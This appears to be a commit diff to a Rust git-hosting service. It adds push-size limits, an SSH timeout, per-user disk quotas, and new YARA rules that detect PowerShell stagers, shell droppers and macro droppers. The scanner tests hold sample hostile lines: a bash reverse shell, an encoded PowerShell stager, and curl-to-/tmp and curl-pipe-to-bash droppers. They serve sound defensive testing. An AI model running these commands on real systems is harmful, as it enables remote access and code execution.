max / makenotwork
10 files changed,
+270 insertions,
-10 deletions
| @@ -111,6 +111,8 @@ enum Command { | |||
| 111 | 111 | }, | |
| 112 | 112 | /// Install post-receive hooks on all git repos for build triggers | |
| 113 | 113 | InstallHooks, | |
| 114 | + | /// Backfill resource limits (receive.maxInputSize) into all existing bare repos | |
| 115 | + | BackfillGitConfig, | |
| 114 | 116 | /// Set up SSH infrastructure for git access (directories, permissions, sudoers) | |
| 115 | 117 | SetupGit, | |
| 116 | 118 | } | |
| @@ -147,6 +149,7 @@ async fn main() -> anyhow::Result<()> { | |||
| 147 | 149 | Command::RebuildKeys => cmd_rebuild_keys(&pool).await?, | |
| 148 | 150 | Command::GitAuth { key_id } => cmd_git_auth(&pool, &key_id).await?, | |
| 149 | 151 | Command::InstallHooks => cmd_install_hooks().await?, | |
| 152 | + | Command::BackfillGitConfig => cmd_backfill_git_config()?, | |
| 150 | 153 | Command::SetupGit => cmd_setup_git()?, | |
| 151 | 154 | } | |
| 152 | 155 | ||
| @@ -653,6 +656,49 @@ async fn cmd_install_hooks() -> anyhow::Result<()> { | |||
| 653 | 656 | Ok(()) | |
| 654 | 657 | } | |
| 655 | 658 | ||
| 659 | + | /// One-time backfill: apply the standard bare-repo resource limits to every | |
| 660 | + | /// existing repo on disk. New repos get these at creation via | |
| 661 | + | /// `git::init_bare_repo`; this brings repos created before that landed up to par. | |
| 662 | + | fn cmd_backfill_git_config() -> anyhow::Result<()> { | |
| 663 | + | let git_root = std::env::var("GIT_REPOS_PATH") | |
| 664 | + | .unwrap_or_else(|_| "/opt/git".to_string()); | |
| 665 | + | let root = std::path::Path::new(&git_root); | |
| 666 | + | if !root.exists() { | |
| 667 | + | anyhow::bail!("git root {} does not exist", git_root); | |
| 668 | + | } | |
| 669 | + | ||
| 670 | + | let mut updated = 0u32; | |
| 671 | + | for owner_entry in std::fs::read_dir(root)? { | |
| 672 | + | let owner_entry = owner_entry?; | |
| 673 | + | if !owner_entry.file_type()?.is_dir() { | |
| 674 | + | continue; | |
| 675 | + | } | |
| 676 | + | for repo_entry in std::fs::read_dir(owner_entry.path())? { | |
| 677 | + | let repo_entry = repo_entry?; | |
| 678 | + | let repo_path = repo_entry.path(); | |
| 679 | + | let is_bare = repo_path | |
| 680 | + | .file_name() | |
| 681 | + | .and_then(|n| n.to_str()) | |
| 682 | + | .is_some_and(|n| n.ends_with(".git")); | |
| 683 | + | if !is_bare || !repo_path.is_dir() { | |
| 684 | + | continue; | |
| 685 | + | } | |
| 686 | + | match git2::Repository::open_bare(&repo_path) { | |
| 687 | + | Ok(repo) => { | |
| 688 | + | makenotwork::git::apply_bare_repo_limits(&repo)?; | |
| 689 | + | updated += 1; | |
| 690 | + | } | |
| 691 | + | Err(e) => { | |
| 692 | + | eprintln!("[backfill] skipping {}: {e}", repo_path.display()); | |
| 693 | + | } | |
| 694 | + | } | |
| 695 | + | } | |
| 696 | + | } | |
| 697 | + | ||
| 698 | + | println!("Applied resource limits to {updated} repo(s)."); | |
| 699 | + | Ok(()) | |
| 700 | + | } | |
| 701 | + | ||
| 656 | 702 | fn cmd_setup_git() -> anyhow::Result<()> { | |
| 657 | 703 | use std::fs; | |
| 658 | 704 | use std::os::unix::fs::PermissionsExt; |
| @@ -488,7 +488,7 @@ pub struct ScanConfig { | |||
| 488 | 488 | /// `scanning::yara::tests::shipped_corpus_is_healthy`, which fails if the | |
| 489 | 489 | /// bundled corpus count drifts from this value. Bumping the corpus means | |
| 490 | 490 | /// bumping this constant (and the test catches a forgotten bump). | |
| 491 | - | pub const DEFAULT_YARA_MIN_RULE_FILES: usize = 3; | |
| 491 | + | pub const DEFAULT_YARA_MIN_RULE_FILES: usize = 6; | |
| 492 | 492 | ||
| 493 | 493 | impl ScanConfig { | |
| 494 | 494 | /// Load scan configuration from environment variables. |
| @@ -271,6 +271,21 @@ pub const GIT_SMART_HTTP_TIMEOUT_SECS: u64 = 300; | |||
| 271 | 271 | // is streamed into git's stdin (not buffered), but this caps a single push so a | |
| 272 | 272 | // runaway upload can't fill the repo disk unbounded. | |
| 273 | 273 | pub const GIT_RECEIVE_PACK_MAX_BYTES: usize = 2 * 1024 * 1024 * 1024; | |
| 274 | + | // `receive.maxInputSize` written into every bare repo's config at creation. This | |
| 275 | + | // is the SSH-side equivalent of `GIT_RECEIVE_PACK_MAX_BYTES` (which only bounds | |
| 276 | + | // the HTTP smart path): git-receive-pack aborts a push whose pack exceeds this, | |
| 277 | + | // so an authenticated user can't stream an arbitrarily large pack over SSH. | |
| 278 | + | pub const GIT_SSH_MAX_PACK_BYTES: i64 = 2 * 1024 * 1024 * 1024; | |
| 279 | + | // Hard runaway-backstop on a single SSH git operation (clone/fetch/push). Unlike | |
| 280 | + | // the HTTP path (a per-request layer), the SSH path execs git-shell directly, so | |
| 281 | + | // a client that stalls mid-transfer would otherwise pin the process indefinitely. | |
| 282 | + | // Generous enough for a large repo over a slow link; only kills genuinely stuck | |
| 283 | + | // operations. | |
| 284 | + | pub const GIT_SSH_OP_TIMEOUT_SECS: u64 = 900; // 15 min | |
| 285 | + | // Per-user on-disk git storage ceiling, checked before an SSH push is allowed. | |
| 286 | + | // Coarse (summed at authorization time, not atomic), but combined with the | |
| 287 | + | // per-push `GIT_SSH_MAX_PACK_BYTES` it bounds total repo growth per account. | |
| 288 | + | pub const GIT_USER_DISK_QUOTA_BYTES: u64 = 20 * 1024 * 1024 * 1024; // 20 GiB backstop | |
| 274 | 289 | ||
| 275 | 290 | // -- Webhook security -- | |
| 276 | 291 | pub const WEBHOOK_TIMESTAMP_TOLERANCE_SECS: u64 = 300; // 5 minutes |
| @@ -308,6 +308,25 @@ pub fn repo_disk_path(repos_root: &Path, owner: &str, repo: &str) -> Result<Path | |||
| 308 | 308 | Ok(canonical_repo) | |
| 309 | 309 | } | |
| 310 | 310 | ||
| 311 | + | /// Write the standard resource limits into a bare repo's config. Currently | |
| 312 | + | /// `receive.maxInputSize`, which makes git-receive-pack abort a push whose pack | |
| 313 | + | /// exceeds the cap. Shared by repo creation and the one-time backfill command so | |
| 314 | + | /// the limit can never drift between the two. | |
| 315 | + | pub fn apply_bare_repo_limits(repo: &Repository) -> Result<(), git2::Error> { | |
| 316 | + | let mut cfg = repo.config()?; | |
| 317 | + | cfg.set_i64("receive.maxInputSize", crate::constants::GIT_SSH_MAX_PACK_BYTES)?; | |
| 318 | + | Ok(()) | |
| 319 | + | } | |
| 320 | + | ||
| 321 | + | /// Initialize a bare repository on disk with the standard resource limits | |
| 322 | + | /// applied. This is the single production path for creating a bare repo, so a | |
| 323 | + | /// new repo can never be created without its pack-size cap. | |
| 324 | + | pub fn init_bare_repo(repo_dir: &Path) -> Result<Repository, GitError> { | |
| 325 | + | let repo = Repository::init_bare(repo_dir)?; | |
| 326 | + | apply_bare_repo_limits(&repo)?; | |
| 327 | + | Ok(repo) | |
| 328 | + | } | |
| 329 | + | ||
| 311 | 330 | // ============================================================================ | |
| 312 | 331 | // Errors | |
| 313 | 332 | // ============================================================================ |
| @@ -116,6 +116,21 @@ async fn exec_git_operation( | |||
| 116 | 116 | anyhow::bail!("permission denied: you do not have push access to {}/{}", owner, repo_name); | |
| 117 | 117 | } | |
| 118 | 118 | } | |
| 119 | + | ||
| 120 | + | // Per-account disk quota. The push consumes the *namespace owner's* | |
| 121 | + | // storage, so the quota is checked against `owner_username`. Coarse | |
| 122 | + | // (summed pre-push, not atomic) but paired with the per-repo | |
| 123 | + | // `receive.maxInputSize` cap it bounds total growth per account. | |
| 124 | + | let git_root = git_repos_root(); | |
| 125 | + | let owner_dir = git_root.join(owner_username.as_ref()); | |
| 126 | + | let used = dir_size_bytes(&owner_dir); | |
| 127 | + | if used > crate::constants::GIT_USER_DISK_QUOTA_BYTES { | |
| 128 | + | anyhow::bail!( | |
| 129 | + | "push rejected: account git storage quota exceeded ({} of {} bytes used)", | |
| 130 | + | used, | |
| 131 | + | crate::constants::GIT_USER_DISK_QUOTA_BYTES | |
| 132 | + | ); | |
| 133 | + | } | |
| 119 | 134 | } | |
| 120 | 135 | GitOperation::UploadPack | GitOperation::Archive => { | |
| 121 | 136 | if repo.visibility == db::Visibility::Private && !is_owner { | |
| @@ -136,8 +151,36 @@ async fn exec_git_operation( | |||
| 136 | 151 | // charset, so the value flowing into the `git-shell -c` argument stays | |
| 137 | 152 | // load-bearing on the validated type even if `parse_repo_path` ever loosens. | |
| 138 | 153 | let sanitized_cmd = format!("{} '/{}/{}.git'", operation.command(), owner_username.as_ref(), repo_name); | |
| 139 | - | let err = exec_git_shell(&sanitized_cmd); | |
| 140 | - | anyhow::bail!("failed to exec git-shell: {}", err); | |
| 154 | + | run_git_shell(&sanitized_cmd).await | |
| 155 | + | } | |
| 156 | + | ||
| 157 | + | /// The configured git repository root (`GIT_REPOS_PATH`, default `/opt/git`). | |
| 158 | + | fn git_repos_root() -> std::path::PathBuf { | |
| 159 | + | std::path::PathBuf::from( | |
| 160 | + | std::env::var("GIT_REPOS_PATH").unwrap_or_else(|_| "/opt/git".to_string()), | |
| 161 | + | ) | |
| 162 | + | } | |
| 163 | + | ||
| 164 | + | /// Total size in bytes of all regular files under `dir` (recursive). Returns 0 | |
| 165 | + | /// if the directory does not exist. Symlinks are not followed, so a crafted | |
| 166 | + | /// symlink inside a bare repo cannot inflate or escape the measured tree. | |
| 167 | + | fn dir_size_bytes(dir: &std::path::Path) -> u64 { | |
| 168 | + | fn walk(dir: &std::path::Path, total: &mut u64) { | |
| 169 | + | let Ok(entries) = std::fs::read_dir(dir) else { | |
| 170 | + | return; | |
| 171 | + | }; | |
| 172 | + | for entry in entries.flatten() { | |
| 173 | + | let Ok(meta) = entry.metadata() else { continue }; | |
| 174 | + | if meta.is_dir() { | |
| 175 | + | walk(&entry.path(), total); | |
| 176 | + | } else if meta.is_file() { | |
| 177 | + | *total += meta.len(); | |
| 178 | + | } | |
| 179 | + | } | |
| 180 | + | } | |
| 181 | + | let mut total = 0; | |
| 182 | + | walk(dir, &mut total); | |
| 183 | + | total | |
| 141 | 184 | } | |
| 142 | 185 | ||
| 143 | 186 | fn parse_ssh_command(cmd: &str) -> anyhow::Result<(GitOperation, String)> { | |
| @@ -184,12 +227,37 @@ fn parse_repo_path(path: &str) -> anyhow::Result<(&str, &str)> { | |||
| 184 | 227 | Ok((owner, repo_name)) | |
| 185 | 228 | } | |
| 186 | 229 | ||
| 187 | - | /// Replace the current process with git-shell. | |
| 188 | - | fn exec_git_shell(original_cmd: &str) -> std::io::Error { | |
| 189 | - | use std::os::unix::process::CommandExt; | |
| 190 | - | std::process::Command::new("git-shell") | |
| 230 | + | /// Run git-shell as a child with inherited stdio (the ssh channel's fds) under a | |
| 231 | + | /// runaway-backstop timeout, then exit this process with the child's status. | |
| 232 | + | /// | |
| 233 | + | /// Replaces the previous `exec()`-into-git-shell: `exec` left no opportunity to | |
| 234 | + | /// bound a stalled transfer, so a client that stopped reading could pin the | |
| 235 | + | /// process indefinitely. Spawning lets us `timeout` the wait and kill a stuck | |
| 236 | + | /// operation (`GIT_SSH_OP_TIMEOUT_SECS`). The process still terminates here on | |
| 237 | + | /// every path, so it behaves like the old `exec` to the git client (its exit | |
| 238 | + | /// code propagates); it returns `Err` only if git-shell cannot be spawned. | |
| 239 | + | async fn run_git_shell(original_cmd: &str) -> anyhow::Result<()> { | |
| 240 | + | use tokio::process::Command; | |
| 241 | + | ||
| 242 | + | let mut child = Command::new("git-shell") | |
| 191 | 243 | .args(["-c", original_cmd]) | |
| 192 | - | .exec() | |
| 244 | + | .spawn() | |
| 245 | + | .map_err(|e| anyhow::anyhow!("failed to spawn git-shell: {e}"))?; | |
| 246 | + | ||
| 247 | + | let timeout = std::time::Duration::from_secs(crate::constants::GIT_SSH_OP_TIMEOUT_SECS); | |
| 248 | + | match tokio::time::timeout(timeout, child.wait()).await { | |
| 249 | + | Ok(Ok(status)) => std::process::exit(status.code().unwrap_or(0)), | |
| 250 | + | Ok(Err(e)) => anyhow::bail!("git-shell wait failed: {e}"), | |
| 251 | + | Err(_elapsed) => { | |
| 252 | + | let _ = child.start_kill(); | |
| 253 | + | let _ = child.wait().await; | |
| 254 | + | eprintln!( | |
| 255 | + | "git operation timed out after {}s", | |
| 256 | + | crate::constants::GIT_SSH_OP_TIMEOUT_SECS | |
| 257 | + | ); | |
| 258 | + | std::process::exit(124); // matches coreutils `timeout` exit code | |
| 259 | + | } | |
| 260 | + | } | |
| 193 | 261 | } | |
| 194 | 262 | ||
| 195 | 263 | /// Install a post-receive hook in a bare git repository. |
| @@ -527,7 +527,7 @@ pub(super) async fn create_repo( | |||
| 527 | 527 | std::fs::create_dir_all(&owner_dir) | |
| 528 | 528 | .context("create git owner directory")?; | |
| 529 | 529 | ||
| 530 | - | git2::Repository::init_bare(&repo_dir) | |
| 530 | + | crate::git::init_bare_repo(&repo_dir) | |
| 531 | 531 | .context("init bare git repo")?; | |
| 532 | 532 | ||
| 533 | 533 | // Install post-receive hook if build triggers are configured |
| @@ -73,7 +73,13 @@ pub fn compile_rules_from_dir(dir: &str) -> Result<(Option<yara_x::Rules>, usize | |||
| 73 | 73 | } | |
| 74 | 74 | ||
| 75 | 75 | if skipped_count > 0 { | |
| 76 | - | tracing::info!(skipped_count, "YARA rule files skipped due to unsupported features"); | |
| 76 | + | // WARN, not INFO: a skipped rule file is a silent coverage gap. yara-x's | |
| 77 | + | // pure-Rust engine rejects rules that use built-ins it doesn't implement | |
| 78 | + | // (`filename`, `filepath`, `extension`, ...), so an operator dropping a | |
| 79 | + | // third-party corpus in needs this surfaced to know what didn't load. | |
| 80 | + | // YARA is supplementary here; ClamAV (full-file, streamed) is the | |
| 81 | + | // signature backstop, so a gap degrades depth, not the floor. | |
| 82 | + | tracing::warn!(skipped_count, "YARA rule files skipped (unsupported features); coverage reduced — ClamAV remains the backstop"); | |
| 77 | 83 | } | |
| 78 | 84 | ||
| 79 | 85 | if rule_count == 0 { | |
| @@ -462,9 +468,34 @@ mod tests { | |||
| 462 | 468 | let revshell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"; | |
| 463 | 469 | assert_eq!(scan_with_yara(&rules, revshell).verdict, LayerVerdict::Fail, "reverse shell must match"); | |
| 464 | 470 | ||
| 471 | + | // Encoded-PowerShell stager fires (powershell + encoded + exec primitive). | |
| 472 | + | let enc_ps = b"powershell -nop -w hidden -EncodedCommand JABjAD0... ; IEX (FromBase64String($x))"; | |
| 473 | + | assert_eq!(scan_with_yara(&rules, enc_ps).verdict, LayerVerdict::Fail, "encoded powershell must match"); | |
| 474 | + | ||
| 475 | + | // Office macro dropper fires (autoexec + two exec primitives). | |
| 476 | + | let macro_drop = b"Sub AutoOpen()\n Set o = CreateObject(\"WScript.Shell\")\nEnd Sub"; | |
| 477 | + | assert_eq!(scan_with_yara(&rules, macro_drop).verdict, LayerVerdict::Fail, "macro dropper must match"); | |
| 478 | + | ||
| 479 | + | // Linux dropper fires (download + chmod +x + world-writable target). | |
| 480 | + | let lin_drop = b"curl http://x/y -o /tmp/p && chmod +x /tmp/p && /tmp/p"; | |
| 481 | + | assert_eq!(scan_with_yara(&rules, lin_drop).verdict, LayerVerdict::Fail, "linux dropper must match"); | |
| 482 | + | ||
| 483 | + | // Pipe-to-shell dropper fires. | |
| 484 | + | let pipe_drop = b"curl -fsSL http://x/install | bash"; | |
| 485 | + | assert_eq!(scan_with_yara(&rules, pipe_drop).verdict, LayerVerdict::Fail, "pipe-to-shell must match"); | |
| 486 | + | ||
| 465 | 487 | // Ordinary content with none of the idioms passes (false-positive guard). | |
| 466 | 488 | let clean = b"a perfectly normal track description mentioning a shell on the beach"; | |
| 467 | 489 | assert_eq!(scan_with_yara(&rules, clean).verdict, LayerVerdict::Pass, "clean content must pass"); | |
| 490 | + | ||
| 491 | + | // A benign install snippet that uses chmod alone (no download+temp combo) | |
| 492 | + | // must not trip the Linux dropper rule. | |
| 493 | + | let benign_chmod = b"After extracting, run chmod +x ./mytool to make it executable."; | |
| 494 | + | assert_eq!(scan_with_yara(&rules, benign_chmod).verdict, LayerVerdict::Pass, "lone chmod must not match"); | |
| 495 | + | ||
| 496 | + | // A document that merely mentions AutoOpen in prose must not match. | |
| 497 | + | let benign_macro = b"This template defines an AutoOpen macro to set the cursor position."; | |
| 498 | + | assert_eq!(scan_with_yara(&rules, benign_macro).verdict, LayerVerdict::Pass, "macro prose must not match"); | |
| 468 | 499 | } | |
| 469 | 500 | ||
| 470 | 501 | #[test] |
| @@ -0,0 +1,22 @@ | |||
| 1 | + | // MakeNotWork - encoded / obfuscated PowerShell stagers. | |
| 2 | + | // Distinct from the plaintext `suspicious_script_in_binary` rule: this targets | |
| 3 | + | // the base64 / -EncodedCommand form used to hide a downloader from casual | |
| 4 | + | // inspection. Multi-token conditions keep these off legitimate scripting docs | |
| 5 | + | // and code samples — an encoded blob alone is benign; an encoded blob next to | |
| 6 | + | // a download+execute primitive is the stager shape. | |
| 7 | + | ||
| 8 | + | rule encoded_powershell_stager { | |
| 9 | + | meta: | |
| 10 | + | description = "Base64/encoded PowerShell paired with download or in-memory exec" | |
| 11 | + | strings: | |
| 12 | + | $enc1 = "-EncodedCommand" ascii nocase | |
| 13 | + | $enc2 = "-enc " ascii nocase | |
| 14 | + | $enc3 = "FromBase64String" ascii nocase | |
| 15 | + | $exec1 = "IEX" ascii | |
| 16 | + | $exec2 = "Invoke-Expression" ascii nocase | |
| 17 | + | $exec3 = "DownloadString" ascii nocase | |
| 18 | + | $exec4 = "DownloadData" ascii nocase | |
| 19 | + | $ps = "powershell" ascii nocase | |
| 20 | + | condition: | |
| 21 | + | $ps and (1 of ($enc*)) and (1 of ($exec*)) | |
| 22 | + | } |
| @@ -0,0 +1,37 @@ | |||
| 1 | + | // MakeNotWork - Linux/Unix shell droppers. | |
| 2 | + | // The fetch -> make-executable -> run chain that stages a second-stage payload | |
| 3 | + | // to a world-writable path. Each token is innocuous alone (install scripts use | |
| 4 | + | // chmod and curl), so the rule requires a download, an executable-bit flip, and | |
| 5 | + | // a temp/world-writable target together before firing. | |
| 6 | + | ||
| 7 | + | rule linux_shell_dropper { | |
| 8 | + | meta: | |
| 9 | + | description = "Download + chmod +x + execute from a world-writable path" | |
| 10 | + | strings: | |
| 11 | + | $dl1 = "curl " ascii | |
| 12 | + | $dl2 = "wget " ascii | |
| 13 | + | $chmod1 = "chmod +x" ascii | |
| 14 | + | $chmod2 = "chmod 777" ascii | |
| 15 | + | $chmod3 = "chmod 0777" ascii | |
| 16 | + | $tmp1 = "/tmp/" ascii | |
| 17 | + | $tmp2 = "/dev/shm/" ascii | |
| 18 | + | $tmp3 = "/var/tmp/" ascii | |
| 19 | + | condition: | |
| 20 | + | (1 of ($dl*)) and (1 of ($chmod*)) and (1 of ($tmp*)) | |
| 21 | + | } | |
| 22 | + | ||
| 23 | + | rule pipe_to_shell_dropper { | |
| 24 | + | meta: | |
| 25 | + | description = "Remote fetch piped directly into an interpreter" | |
| 26 | + | strings: | |
| 27 | + | $dl1 = "curl " ascii | |
| 28 | + | $dl2 = "wget " ascii | |
| 29 | + | $pipe1 = "| bash" ascii | |
| 30 | + | $pipe2 = "| sh" ascii | |
| 31 | + | $pipe3 = "|bash" ascii | |
| 32 | + | $pipe4 = "|sh" ascii | |
| 33 | + | $b64 = "base64 -d" ascii | |
| 34 | + | condition: | |
| 35 | + | ((1 of ($dl*)) and (1 of ($pipe*))) | |
| 36 | + | or ($b64 and (1 of ($pipe*))) | |
| 37 | + | } |
| @@ -0,0 +1,22 @@ | |||
| 1 | + | // MakeNotWork - VBA auto-exec macro droppers. | |
| 2 | + | // Office documents that auto-run a macro which shells out or pulls a payload. | |
| 3 | + | // The auto-exec entrypoint alone is common in benign templates, so it must | |
| 4 | + | // co-occur with an execution/download primitive to fire. Untrusted uploads are | |
| 5 | + | // held regardless; this flags the obvious macro-dropper shape in-process. | |
| 6 | + | ||
| 7 | + | rule office_macro_autoexec_dropper { | |
| 8 | + | meta: | |
| 9 | + | description = "VBA auto-exec macro paired with shell/download primitives" | |
| 10 | + | strings: | |
| 11 | + | $auto1 = "AutoOpen" ascii nocase | |
| 12 | + | $auto2 = "Document_Open" ascii nocase | |
| 13 | + | $auto3 = "Auto_Open" ascii nocase | |
| 14 | + | $auto4 = "Workbook_Open" ascii nocase | |
| 15 | + | $exec1 = "WScript.Shell" ascii nocase | |
| 16 | + | $exec2 = "Shell(" ascii nocase | |
| 17 | + | $exec3 = "CreateObject" ascii nocase | |
| 18 | + | $exec4 = "URLDownloadToFile" ascii nocase | |
| 19 | + | $exec5 = "MSXML2.XMLHTTP" ascii nocase | |
| 20 | + | condition: | |
| 21 | + | (1 of ($auto*)) and (2 of ($exec*)) | |
| 22 | + | } |